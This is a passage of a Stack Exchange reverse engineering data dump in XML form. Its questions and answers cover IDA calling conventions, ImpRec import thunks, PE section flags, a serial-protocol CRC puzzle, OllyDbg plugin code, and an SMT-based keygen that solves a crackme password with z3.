&amp;amp;Fds, NULL, NULL, &amp;amp;Timeval);&#xA;    if ((Status != SOCKET_ERROR) &amp;amp;&amp;amp; (Status != 0))&#xA;    {&#xA;        Length = sizeof(From);&#xA;        Status = recvfrom(IcmpSock, Buffer, Size, 0, &amp;amp;From, &amp;amp;Length);&#xA;&#xA;#ifndef NDEBUG&#xA;        printf(&quot;Received packet\n&quot;);&#xA;        DisplayBuffer(Buffer, Status);&#xA;        printf(&quot;\n&quot;);&#xA;#endif /* !NDEBUG */&#xA;    }&#xA;    else&#xA;        LostCount++;&#xA;    if (Status == SOCKET_ERROR)&#xA;    {&#xA;        if (WSAGetLastError() != WSAETIMEDOUT)&#xA;        {&#xA;            FormatOutput(IDS_COULD_NOT_RECV, WSAGetLastError());&#xA;            GlobalFree(Buffer);&#xA;            return FALSE;&#xA;        }&#xA;        Status = 0;&#xA;    }&#xA;&#xA;    if (Status == 0)&#xA;    {&#xA;        FormatOutput(IDS_REQUEST_TIMEOUT);&#xA;        GlobalFree(Buffer);&#xA;        return TRUE;&#xA;    }&#xA;&#xA;} while (!DecodeResponse(Buffer, Status, (PSOCKADDR_IN)&amp;amp;From));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2015-11-11T07:25:24.653" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11308" PostTypeId="2" ParentId="11305" CreationDate="2015-11-11T09:23:08.590" Score="7" Body="&lt;p&gt;My guess is that the function signature should be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __usercall Call_HTTP@&amp;lt;eax&amp;gt;(int x, int y, void* http_object@&amp;lt;edi&amp;gt;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;__usercall&lt;/code&gt; means the calling convention for the function is not a standard one (like stdcall, cdecl, etc.) as the function passes two arguments on stack and one in edi.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;@&amp;lt;eax&amp;gt;&lt;/code&gt; : function returns a value in eax register.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;int x&lt;/code&gt; and &lt;code&gt;int y&lt;/code&gt; are passed on the stack.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;void* http_object@&amp;lt;edi&amp;gt;&lt;/code&gt; : http_object is a void* passed through the edi register.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can change the type of the &lt;code&gt;http_object&lt;/code&gt; by adding a proper structure for this object to the known IDA structures and pass the real type instead of &lt;code&gt;void*&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information on function signature, see the IDA help on &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1361.shtml&quot; rel=&quot;nofollow&quot;&gt;Set function/item type&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The right signature should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __userpurge Call_HTTP@&amp;lt;eax&amp;gt;(int x, int y, void* http_object@&amp;lt;edi&amp;gt;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As stated by @itsbriany:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;for &lt;code&gt;__stdcall&lt;/code&gt; and &lt;code&gt;__userpurge&lt;/code&gt; calling conventions, the callee cleans up the stack.&lt;/li&gt;&#xA;&lt;li&gt;in &lt;code&gt;__cdecl&lt;/code&gt; and &lt;code&gt;__usercall&lt;/code&gt; conventions, the caller cleans up the stack.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4702" LastEditorUserId="4702" LastEditDate="2015-11-12T10:27:41.697" LastActivityDate="2015-11-12T10:27:41.697" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11309" PostTypeId="1" AcceptedAnswerId="11310" CreationDate="2015-11-11T12:01:04.430" Score="1" ViewCount="685" Body="&lt;p&gt;I have a problem that NtdllDefWindowProc_A function from ntdll is&#xA;inside user32 thunk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tEOQI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tEOQI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following @Jason Geffner answer in &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6134/imprec-invalid-thunks-seem-valid&quot;&gt;ImpRec invalid thunks seem valid&lt;/a&gt; I tried to change it to NtdllDefWindowProc_A from user32, but when I rebuild it after the fix with PE tool the file didn't work at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I tried again and cut NtdllDefWindowProc_A function from the chunk,&#xA;and the rebuild work and the file run without a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;its probably not a good idea to cut NtdllDefWindowProc_A from the file....So what did I did wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks you all for the help :-)&lt;/p&gt;&#xA;" OwnerUserId="13879" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-11-11T13:11:58.380" Title="ImpRec invalid NtdllDefWindowProc_A seem valid" Tags="|debugging|iat|protection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11310" PostTypeId="2" ParentId="11309" CreationDate="2015-11-11T13:11:58.380" Score="1" Body="&lt;p&gt;In your example, the static import &lt;code&gt;user32!DefWindowProcA&lt;/code&gt; is getting forwarded to &lt;code&gt;ntdll!NtdllDefWindowProc_A&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to double-click on the &lt;code&gt;ntdll!NtdllDefWindowProc_A&lt;/code&gt; entry in Import REConstructor and change it to &lt;code&gt;user32!DefWindowProcA&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-11-11T13:11:58.380" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11311" PostTypeId="1" AcceptedAnswerId="11313" CreationDate="2015-11-11T16:00:12.467" Score="1" ViewCount="1658" Body="&lt;p&gt;Generally, what is the criterion by which to decide whether a PE section contains code or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, is a &lt;code&gt;.text&lt;/code&gt; or &lt;code&gt;.code&lt;/code&gt; section &lt;strong&gt;always&lt;/strong&gt; considered to contain code? And what is the relationship between the &lt;code&gt;IMAGE_SCN_CNT_CODE&lt;/code&gt; flag (0x00000020) and &lt;code&gt;IMAGE_SCN_MEM_EXECUTE&lt;/code&gt; flag (0x20000000) - can we consider a section with at least one of those two as definitely containing code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a hard static rule to recognize code sections?&lt;/p&gt;&#xA;" OwnerUserId="14111" LastActivityDate="2015-11-11T16:07:54.627" Title="How to recognize PE sections containing code?" Tags="|windows|pe|section|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11313" PostTypeId="2" ParentId="11311" CreationDate="2015-11-11T16:07:54.627" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Specifically, is a &lt;code&gt;.text&lt;/code&gt; or &lt;code&gt;.code&lt;/code&gt; section &lt;strong&gt;always&lt;/strong&gt; considered to contain code?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And what is the relationship between the &lt;code&gt;IMAGE_SCN_CNT_CODE&lt;/code&gt; flag (0x00000020) and &lt;code&gt;IMAGE_SCN_MEM_EXECUTE&lt;/code&gt; flag (0x20000000)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The former is ignored by the Windows PE loader. The latter is used by the Windows PE loader such that if the flag is set then the pages for that section are marked as executable in memory (via &lt;a href=&quot;https://en.wikipedia.org/wiki/NX_bit&quot;&gt;https://en.wikipedia.org/wiki/NX_bit&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;can we consider a section with at least one of those two as definitely containing code?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not &lt;strong&gt;always&lt;/strong&gt;, no.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Generally, what is the criterion by which to decide whether a PE section contains code or not?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;While the &lt;code&gt;.text&lt;/code&gt;/&lt;code&gt;.code&lt;/code&gt; sections will &lt;em&gt;usually&lt;/em&gt; contain code, and a section with the &lt;code&gt;IMAGE_SCN_MEM_EXECUTE&lt;/code&gt; flag will &lt;em&gt;usually&lt;/em&gt; contain code, the only real way to say that a section definitely contains code is if the CPU actually executes code in that section at runtime.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-11-11T16:07:54.627" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="11314" PostTypeId="1" CreationDate="2015-11-11T18:18:47.150" Score="2" ViewCount="288" Body="&lt;p&gt;We're having a hard time figuring out how the checksum/CRC is calculated for this serial communication protocol we're required to reverse engineer. This is a communication protocol used back in the 1990 (at least). It is used by embedded code for communication between display units. So far, we have noticed some things, but nothing of any relevance to understanding the CRC. Here are a couple of message we collected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some messages are quite short. We think it is some sort of acknowledgement. 2 versions exists:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;7F 25 64 12 78 21 44 7F 7F&lt;/li&gt;&#xA;&lt;li&gt;7F 25 64 12 79 31 65 7F 7F&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These are some timing messages, as far as we can tell. Notice how byte number 27 changes by an increment of 5:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;7F 25 4E 62 01 00 00 67 50 04 10 28 73 7A 2D 31 77 2F 03 21 33 00 27 13 7C 7F 10 38 17 30 00 3D 79 7F 7F&lt;/li&gt;&#xA;&lt;li&gt;7F 25 4E 62 01 00 00 67 50 04 10 28 73 7A 2D 31 77 2F 03 21 33 00 27 13 7C 7F 15 38 17 30 00 1E 2E 7F 7F&lt;/li&gt;&#xA;&lt;li&gt;7F 25 4E 62 01 00 00 67 50 04 10 28 73 7A 2D 31 77 2F 03 21 33 00 27 13 7C 7F 1A 38 17 30 00 7B 57 7F 7F&lt;/li&gt;&#xA;&lt;li&gt;7F 25 4E 62 01 00 00 67 50 04 10 28 73 7A 2D 31 77 2F 03 21 33 00 27 13 7C 7F 1F 38 17 30 00 58 00 7F 7F&lt;/li&gt;&#xA;&lt;li&gt;7F 25 4E 62 01 00 00 67 50 04 10 28 73 7A 2D 31 77 2F 03 21 33 00 27 13 7C 7F 24 38 17 30 00 38 11 7F 7F&lt;/li&gt;&#xA;&lt;li&gt;7F 25 4E 62 01 00 00 67 50 04 10 28 73 7A 2D 31 77 2F 03 21 33 00 27 13 7C 7F 29 38 17 30 00 19 6B 7F 7F&lt;/li&gt;&#xA;&lt;li&gt;7F 25 4E 62 01 00 00 67 50 04 10 28 73 7A 2D 31 77 2F 03 21 33 00 27 13 7C 7F 2E 38 17 30 00 7E 3F 7F 7F&lt;/li&gt;&#xA;&lt;li&gt;7F 25 4E 62 01 00 00 67 50 04 10 28 73 7A 2D 31 77 2F 03 21 33 00 27 13 7C 7F 33 38 17 30 00 5B 1F 7F 7F&lt;/li&gt;&#xA;&lt;li&gt;7F 25 4E 62 01 00 00 67 50 04 10 28 73 7A 2D 31 77 2F 03 21 33 00 27 13 7C 7F 38 38 17 30 00 37 60 7F 7F&lt;/li&gt;&#xA;&lt;li&gt;7F 25 4E 62 01 00 00 67 50 04 10 28 73 7A 2D 31 77 2F 03 21 33 00 27 13 7C 7F 3D 38 17 30 00 14 37 7F 7F&lt;/li&gt;&#xA;&lt;li&gt;7F 25 4E 62 01 00 00 67 50 04 10 28 73 7A 2D 31 77 2F 03 21 33 00 27 13 7C 7F 42 38 17 30 00 6C 48 7F 7F&lt;/li&gt;&#xA;&lt;li&gt;7F 25 4E 62 01 00 00 67 50 04 10 28 73 7A 2D 31 77 2F 03 21 33 00 27 13 7C 7F 47 38 17 30 00 4F 1F 7F 7F&lt;/li&gt;&#xA;&lt;li&gt;7F 25 4E 62 01 00 00 67 50 04 10 28 73 7A 2D 31 77 2F 03 21 33 00 27 13 7C 7F 4C 38 17 30 00 23 60 7F 7F&lt;/li&gt;&#xA;&lt;li&gt;7F 25 4E 62 01 00 00 67 50 04 10 28 73 7A 2D 31 77 2F 03 21 33 00 27 13 7C 7F 51 38 17 30 00 06 40 7F 7F&lt;/li&gt;&#xA;&lt;li&gt;7F 25 4E 62 01 00 00 67 50 04 10 28 73 7A 2D 31 77 2F 03 21 33 00 27 13 7C 7F 56 38 17 30 00 61 14 7F 7F&lt;/li&gt;&#xA;&lt;li&gt;7F 25 4E 62 01 00 00 67 50 04 10 28 73 7A 2D 31 77 2F 03 21 33 00 27 13 7C 7F 5B 38 17 30 00 40 6E 7F 7F&lt;/li&gt;&#xA;&lt;li&gt;7F 25 4E 62 01 00 00 67 50 04 10 28 73 7A 2D 31 77 2F 03 21 33 00 27 13 7C 7F 60 38 17 30 00 20 7F 7F 7F&lt;/li&gt;&#xA;&lt;li&gt;7F 25 4E 62 01 00 00 67 50 04 10 28 73 7A 2D 31 77 2F 03 21 33 00 27 13 7C 7F 65 38 17 30 00 03 28 7F 7F&lt;/li&gt;&#xA;&lt;li&gt;7F 25 4E 62 01 00 00 67 50 04 10 28 73 7A 2D 31 77 2F 03 21 33 00 27 13 7C 7F 6A 38 17 30 00 66 51 7F 7F&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some of these messages change by only one bit (except for the checksum at the end):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;7F 25 4E 62 01 00 00 67 50 04 10 28 73 7A 2D 31 77 2F 03 21 33 00 27 13 7C 7F 71 38 17 30 00 2C 24 7F 7F&lt;/li&gt;&#xA;&lt;li&gt;7F 25 4E 62 01 00 00 67 50 04 10 28 73 7A 2D 31 77 2F 03 21 33 00 27 13 7C 7F 73 38 17 30 00 4B 70 7F 7F&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, what we managed to figure out:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Obviously, 7F25 is the start of the message, 7F7F is the end (this is constant over all messages).&lt;/li&gt;&#xA;&lt;li&gt;bytes number N-2 and N-3 act as some sort of checksum/CRC. &lt;/li&gt;&#xA;&lt;li&gt;No byte is higher than 7F anywhere. Never.&lt;/li&gt;&#xA;&lt;li&gt;Looking at some messages, it appears that a single bit change untroduce large variations of the checksum bytes. This pointed us in the dirrection of a CRC algorithm.&lt;/li&gt;&#xA;&lt;li&gt;We've been told that the company that created the protocol likely used some variation of CRC16-CCITT. We have been unable to confirm/verify that.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;We are at lost. Any help in solving this riddle would be greatly appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried a lot of different CRC variations, with lots of different parts of the messages. Nothing came up interesting. Except this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the 2 very short messages, you can see that after removing the start message bytes and the end message bytes, we are left with a message of only 3 bytes + 2 checksum bytes. Only one of the message bytes changes, the last one. The difference between the 2 messages (0x78 becomes a 0x79 on last position) results in only the last bit of the message changing. This results in a change in the 2 checksum bytes (0x21 becomes 0x31 and 0x44 becomes 0x65). Translating this information in bit, 01111000 becomes 01111001 (a change of only the last bit -&gt; 00000001) which results in 00100001 becoming 00110001 for the first checksum byte (a change of 00010000) and 01000100 becoming 01100101 for the first checksum byte (a change of 00100001). (By a change, I mean a XOR operation)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the interesting part, if I apply variations of the CRC16-CCITT (XModem, Kermit, 0xFFFF, etc.), the result (the XOR operation I have to apply to the checksum bytes to go from the 0x78 terminated message to the 0x79 terminated message) is the same!! The result is not (the checksum bytes are not what is expected) but the impact changing the single last byte has on the checksum is indeed the same. This points me in the direction of the CCITT CRC, only with a starting value different than the obvious. I did try all the possibilities of the message (only the last byte, then the last 2, etc.). There is a very limited amount of possibilities with only 3 bytes!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All this might only be a (very intreging) coincidence, but I think there is a much more simple/elegent (aka mathematical) explanation. I just lack the mathematical skills to see the obvious...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;No byte is higher than 7F&quot; part is of course very easy to explain: there is only 7 bits of data for this protocol over serial communication. Dah! But it implies that if the check is a crc, it will yield larger than 7F checksum, which will then have to be &quot;mod 7F&quot; to be transmitted over the serial communication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying not to &quot;left any stone unturned&quot;.&lt;/p&gt;&#xA;" OwnerUserId="14113" LastEditorUserId="14113" LastEditDate="2015-11-12T15:54:37.620" LastActivityDate="2015-11-12T15:54:37.620" Title="Puzzling 16bit checksum/CRC reverse engineering problem" Tags="|embedded|serial-communication|crc|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11315" PostTypeId="2" ParentId="11303" CreationDate="2015-11-11T18:56:21.673" Score="0" Body="&lt;p&gt;As with all equations, solve it starting from the end. You might need to have several iterations based on the length of the original password string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with hypothesizing the length equals 1, solve the last cycle (what the password would need to be to hit the right answer?) then solve the first cycle based on you knowledge of rand(). If the result looks plausible (e.g. it has exactly the length of 1 as you hypothesized), check it and stop. If not - assume length equals 2 and do the same. Etc, up to the length of string fitting into an int. I would just go up to 8, why bother calculating that length.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. There is no recursion in the code you posted, not sure what you mean.&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2015-11-11T18:56:21.673" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11316" PostTypeId="2" ParentId="3079" CreationDate="2015-11-11T22:16:43.537" Score="5" Body="&lt;p&gt;I was searching for something similar and I found pfp! &lt;a href=&quot;https://github.com/d0c-s4vage/pfp&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;pfp&lt;/strong&gt;&lt;/a&gt; is a python-based interpreter for 010 template scripts. Also take a look at the &lt;a href=&quot;http://d0cs4vage.blogspot.com/2015/08/pfp-python-interpreter-for-010-templates.html&quot; rel=&quot;noreferrer&quot;&gt;blog post&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1956" LastActivityDate="2015-11-11T22:16:43.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11317" PostTypeId="1" AcceptedAnswerId="11319" CreationDate="2015-11-12T08:34:53.260" Score="1" ViewCount="186" Body="&lt;p&gt;I am trying to write a plugin which, beside other things, would need to write assembly of some code segments into a file. Since the documentation is somewhat lacking I'm lost on some things and not sure how to use functions for disassembly. I'm reading commands with Readcommand function and then using Disasm function to get the assembly code but all I am getting is some gibberish. Also, in a help file it says that Readcommand function should return the actual size of instruction read, but it always returns maximum size. Any help on what I'm doing wrong or how to proceed to get the assembly code would be appreciated. Code with which I'm trying to get disassembly is located below.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;code_length = Readcommand(reg-&gt;ip, cmd);&lt;br&gt;&#xA;  instruction_length =&#xA;  Disasm(cmd, code_length, reg-&gt;ip, dest, disasm, DISASM_ALL,thread_id);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="8562" LastActivityDate="2015-11-12T12:03:52.843" Title="Ollydbg v 1.10 plugin writing" Tags="|ollydbg|plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11318" PostTypeId="2" ParentId="11317" CreationDate="2015-11-12T11:26:20.513" Score="0" Body="&lt;p&gt;I've solved it. If anyone else will have same or similar problem, proper way to call Disasm function is (with cmd variable defined as in the question):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Disasm(cmd, code_length, reg-&gt;ip, DEC_UNKNOWN, DISASM_ALL, thread_id);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="8562" LastActivityDate="2015-11-12T11:26:20.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11319" PostTypeId="2" ParentId="11317" CreationDate="2015-11-12T11:35:48.930" Score="4" Body="&lt;p&gt;ReadCommand() Returns bytes from internally cached buffer and returns atmost MAXCMDSIZE Bytes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the below snippet will take an address (HEX ONLY) &#xA;read the command print the bytes and disassembly pertaining that address to log window &#xA;take a look&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void disasm( void) {&#xA;  ULONG data = 0;&#xA;  if((Getlong(&quot;enter address to disassemble&quot;,&amp;amp;data,4,0,DIA_HEXONLY)) != -1) {&#xA;    Addtolist(data,1,&quot;eip provided is %x\n&quot;,data);&#xA;    char buff[MAXCMDSIZE+10] = {0};&#xA;    ULONG srcsize = 0;&#xA;    t_disasm mydisasm = {0};&#xA;  if((srcsize = Readcommand(data,buff)) !=0) {&#xA;    char pbuff[50] = {0};&#xA;    for (ulong i = 0;i&amp;lt;srcsize; i++){&#xA;      sprintf_s((char *)(pbuff+(i*2)),50,&quot;%02x&quot;,*(char *)(buff+i));     &#xA;    }&#xA;    Addtolist(data,1,&quot;command read %s size %x\n&quot;,pbuff,srcsize);&#xA;    Disasm((uchar *)buff,srcsize,data,NULL,&amp;amp;mydisasm,DISASM_ALL,NULL);&#xA;    Addtolist(data,1,&quot;%s\n&quot;,mydisasm.result);&#xA;    }    &#xA;  }  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-11-12T12:03:52.843" LastActivityDate="2015-11-12T12:03:52.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11321" PostTypeId="1" CreationDate="2015-11-12T17:32:48.727" Score="0" ViewCount="578" Body="&lt;p&gt;I am trying to learn reverse engeneering, so I wrote a little hackme (Very basic console application, asks for a password, and outputs 'right' or 'wrong'). The first thing I wanted to do was finding the address of the '_' function, which basically outputs the given string in the console. After some searching, I found my function, but when placing a breakpoint and debugging or restarting the application, sometimes the function address changes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Why is the address changing&lt;/li&gt;&#xA;&lt;li&gt;How could I dynamically find the function if I can't prevent it from changing?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FF91l.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FF91l.png&quot; alt=&quot;Ida screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14126" LastActivityDate="2015-11-12T17:32:48.727" Title="Found function in ida pro, but address keeps changing" Tags="|ida|" AnswerCount="0" CommentCount="6" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11322" PostTypeId="2" ParentId="11303" CreationDate="2015-11-13T02:01:42.957" Score="3" Body="&lt;p&gt;We can define recursive functions in SMT language (e.g. with &lt;code&gt;define-fun-rec&lt;/code&gt;), but some popular solvers (e.g. &lt;code&gt;z3&lt;/code&gt;) currently cannot handle them yet (I do not know any can support); so it is not direct to encode loops in such a solver. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But we can use a trick, that is to just unroll the loop (then it is still obliged to test several lengths of the password) by generating automatically SMT formulae. For example, the following program generate a SMT formula for each length of password:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;#define PRE_VAL_NUM 0xfff&#xA;int ran_vals[PRE_VAL_NUM];&#xA;&#xA;void gen_pre_vals()&#xA;{&#xA;  for (unsigned int i = 0; i &amp;lt; PRE_VAL_NUM; ++i) {&#xA;    ran_vals[i] = random();&#xA;  }&#xA;  return;&#xA;}&#xA;&#xA;int main(int argc, char* argv[])&#xA;{&#xA;  if (argc != 2) {&#xA;    printf(&quot;please run as keygen length_of_password\n&quot;);&#xA;    return 0;&#xA;  }&#xA;&#xA;  gen_pre_vals();&#xA;&#xA;  FILE* smt_file = fopen(&quot;reverseme.smt2&quot;, &quot;w+&quot;);&#xA;&#xA;  fprintf(smt_file, &quot;(set-logic QF_BV)\n&quot;);&#xA;  fprintf(smt_file, &quot;(set-info :smt-lib-version 2.0)\n&quot;);&#xA;&#xA;  int passwd_len = strtol(argv[1], NULL, 0);&#xA;&#xA;  fprintf(smt_file, &quot;\n&quot;);&#xA;  for (int i = 0; i &amp;lt; passwd_len; ++i) {&#xA;    fprintf(smt_file, &quot;(declare-fun pw%d () (_ BitVec 8))\n&quot;, i);&#xA;  }&#xA;  fprintf(smt_file, &quot;\n&quot;);&#xA;  fprintf(smt_file, &quot;(define-fun prev_i ((i (_ BitVec 32)) (pw_i (_ BitVec 8))) (_ BitVec 32)\n&quot;);&#xA;  fprintf(smt_file, &quot;(let ((pw_i_ext ((_ sign_extend 24) pw_i)))\n&quot;);&#xA;  fprintf(smt_file, &quot;(bvadd (bvmul i pw_i_ext) #x00031337)))\n&quot;);&#xA;&#xA;  fprintf(smt_file, &quot;\n&quot;);&#xA;  for (int i = 0; i &amp;lt; passwd_len; ++i) {&#xA;    fprintf(smt_file, &quot;(assert (and (bvuge pw%d #x21) (bvule pw%d #x7e)))\n&quot;, i, i);&#xA;  }&#xA;&#xA;  fprintf(smt_file, &quot;\n&quot;);&#xA;  fprintf(smt_file, &quot;(assert\n&quot;);&#xA;  fprintf(smt_file, &quot;(let (\n&quot;);&#xA;  unsigned int acc_ran;&#xA;  for (int i = 0; i &amp;lt; passwd_len; ++i) {&#xA;    acc_ran = 0x00;&#xA;&#xA;    for (int j = ran_vals[0] &amp;amp; 0xff; j &amp;gt; 0; j--) {&#xA;      acc_ran ^= ran_vals[1 + i + (j - 1) * passwd_len];&#xA;    }&#xA;&#xA;    fprintf(smt_file, &quot;(pwn%d (bvxor pw%d #x%x))\n&quot;, i, i, (acc_ran &amp;amp; 0xff));&#xA;  }&#xA;  fprintf(smt_file, &quot;)\n&quot;);&#xA;  fprintf(smt_file, &quot;(let ((i%d (prev_i #x1337 pwn%d)))\n&quot;, passwd_len - 2, passwd_len - 1);&#xA;  for (int i = passwd_len - 2; i &amp;gt;= 1; --i) {&#xA;    fprintf(smt_file, &quot;(let ((i%d (prev_i i%d pwn%d)))\n&quot;, i - 1, i, i);&#xA;  }&#xA;  fprintf(smt_file, &quot;(let ((i (prev_i i0 pwn0)))\n&quot;);&#xA;  fprintf(smt_file, &quot;(= i #xfd0970e7))\n&quot;);&#xA;  for (int i = 0; i &amp;lt; passwd_len; ++i) fprintf(smt_file, &quot;)&quot;);&#xA;  fprintf(smt_file, &quot;)\n&quot;);&#xA;&#xA;  fprintf(smt_file, &quot;\n&quot;);&#xA;  fprintf(smt_file, &quot;(check-sat)\n&quot;);&#xA;  fprintf(smt_file, &quot;(get-value (\n&quot;);&#xA;  for (int i = 0; i &amp;lt; passwd_len; ++i) fprintf(smt_file, &quot;pw%d\n&quot;, i);&#xA;  fprintf(smt_file, &quot;))\n&quot;);&#xA;&#xA;  fclose(smt_file);&#xA;&#xA;  printf(&quot;output smt file: reverseme.smt2\n&quot;);&#xA;&#xA;  return 1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It generates a SMT file, named &lt;code&gt;reverseme.smt2&lt;/code&gt; for each length of password (e.g. the generated SMT file for the length &lt;code&gt;6&lt;/code&gt; is &lt;a href=&quot;http://rise4fun.com/Z3/Dcnb&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;), then we can type: &lt;code&gt;z3 reverseme.smt2&lt;/code&gt; to get a valid password. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tested for lengths of &lt;code&gt;2, 3, 4, 5&lt;/code&gt; (the length &lt;code&gt;1&lt;/code&gt; is obviously impossible). On my machine, &lt;code&gt;z3&lt;/code&gt; takes about 1-5 seconds for each test, and gives &lt;code&gt;UNSAT&lt;/code&gt; for each of them; the first &lt;code&gt;SAT&lt;/code&gt; result &quot;6`SHQe&quot; (ASCII codes: &lt;code&gt;0x36, 0x60, 0x53, 0x48, 0x51, 0x65&lt;/code&gt; is found for length of &lt;code&gt;6&lt;/code&gt;. I do not check whether there exists some valid passwords for 